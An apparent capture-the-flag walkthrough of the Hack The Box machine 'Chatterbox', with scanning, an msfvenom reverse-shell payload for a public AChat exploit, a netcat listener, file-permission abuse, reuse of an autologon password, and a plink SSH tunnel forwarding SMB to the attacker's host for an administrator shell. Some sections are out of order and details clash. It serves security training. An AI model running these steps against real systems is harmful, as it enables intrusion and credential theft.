The above X.509 certificate could not be verified, possibly because you do not have
the CA certificate in your certificate store, or the certificate has expired.
Please look at the OpenSSL documentation on how to add a private CA to the store.
Do you trust the above certificate? (Y/T/N) y
Password: iestyle2019!
Chatterbox is a pretty simple box and reminds me a lot of something you run across in the OSCP labs. Overall it’s pretty easy, the only sort of tricky part is with privesc if you aren’t familiar with port forwarding. If you follow my Windows Privilege Escalation Guide on this one, you’ll be golden. Before you do the box, make sure you’ve reset it otherwise you won’t get a shell.
root@kali:~/htb# nmap -p- 10.10.10.74
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-20 08:24 EDT
Stats: 0:12:55 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 33.42% done; ETC: 09:02 (0:25:10 remaining)
Stats: 0:12:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 33.52% done; ETC: 09:02 (0:25:09 remaining)
Nmap scan report for 10.10.10.74
Host is up (0.034s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
9255/tcp open mon
9256/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1662.31 seconds
Looks like AChat is our target. A quick Google returns an exploit in python:https://www.exploit-db.com/exploits/36025/The exploit payload is currently only going to run calc.exe, so we’ll need to generate a reverse shellcode payload. We can do this with msfvenom. Lucky for us the author of the exploit was nice enough to specify his exact command used in the comments, so we know the correct options along with which bad characters to exclude
root@kali:~/htb# msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp lhost=10.10.14.5 lport=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' EXITFUNC=thread BufferRegister=EAX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3706 bytes
buf = ""
buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
--snip--
buf += "\x70\x47\x4a\x73\x51\x62\x42\x4f\x72\x4a\x39\x70\x42"
buf += "\x33\x69\x6f\x59\x45\x41\x41"
root@kali:~/htb#
We can go ahead and edit the exploit with our newly generated shellcode. Start up a netcat listener and run our exploit.
There seemed to be a file permissions misconfiguration on the local administrators folder, and the root.txt file. I assumed this was the method we were supposed to take to get the root.txt flag. root.txt is owned by Alfred so we can use icacls to give full permissions on the root.txt file so we can read it.
root@kali:~/htb# python achat.py
---->{P00F}!
root@kali:~/htb# rlwrapnc -lvp 443 listening on [any] 443 ... 10.10.10.74: inverse host lookup failed: Unknown host connect to [10.10.14.2] from (UNKNOWN) [10.10.10.74] 49157 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami
whoami chatterbox\alfred
C:\Users\Administrator\Desktop>type root.txt
type root.txt Access is denied.
C:\Users\Administrator\Desktop>dir /Q
dir /Q
Volume in drive C has no label.
Volume Serial Number is 9034-6528
Directory of C:\Users\Administrator\Desktop
12/10/2017 07:50 PM <DIR> BUILTIN\Administrators .
12/10/2017 07:50 PM <DIR> NT AUTHORITY\SYSTEM ..
12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
2 Dir(s) 17,932,922,880 bytes free
C:\Users\Administrator\Desktop>cacls C:\Users\Administrator\Desktop cacls C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
CHATTERBOX\Administrator:(OI)(CI)(ID)F
BUILTIN\Administrators:(OI)(CI)(ID)F
CHATTERBOX\Alfred:(OI)(CI)(ID)F
C:\Users\Administrator\Desktop>cacls root.txt /g Alfred:r
cacls root.txt /g Alfred:r
y Are you sure (Y/N)?processed file: C:\Users\Administrator\Desktop\root.txt C:\Users\Administrator\Desktop>type root.txt
a67*****c7c
Privilege Escalation
After running through some basic privilege escalation enumeration (ahem) we find some credentials in the registry for autologon.
Attempting to re-use this password with the Administrator account is successful, and can be
achieved using powershell or by opening SMB and using impacket’s psexec. Using powershell, the command
It’s possible that password reuse may be at play here for the Administrator. To exploit this we’ll need to open up SMB on our target. We can do this by uploading plink.exe to our target and port forwarding over port 445.
And run plink.exe from our target to forward the port over SSH.
C:\Users\Alfred>plink.exe -l puck -pw iestyle -R 445:127.0.0.1:445 10.10.14.5
The server's host key is not cached in the registry. You
have no guarantee that the server is the computer you
think it is.
The server's rsa2 key fingerprint is:
ssh-rsa 2048 fc:4d:bc:2f:51:41:40:0d:2e:e2:86:a6:06:fb:98:88
If you trust this host, enter "y" to add the key to
PuTTY's cache and carry on connecting.
If you want to carry on connecting just once, without
adding the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n) y
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 10 09:31:17 2017 from 10.10.10.43
root@kali:~#
We can verify the port forward is working with netstat.
root@kali:~/htb/chatterbox# winexe -U Administrator //127.0.0.1 "cmd.exe"
Enter password:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
chatterbox\administrator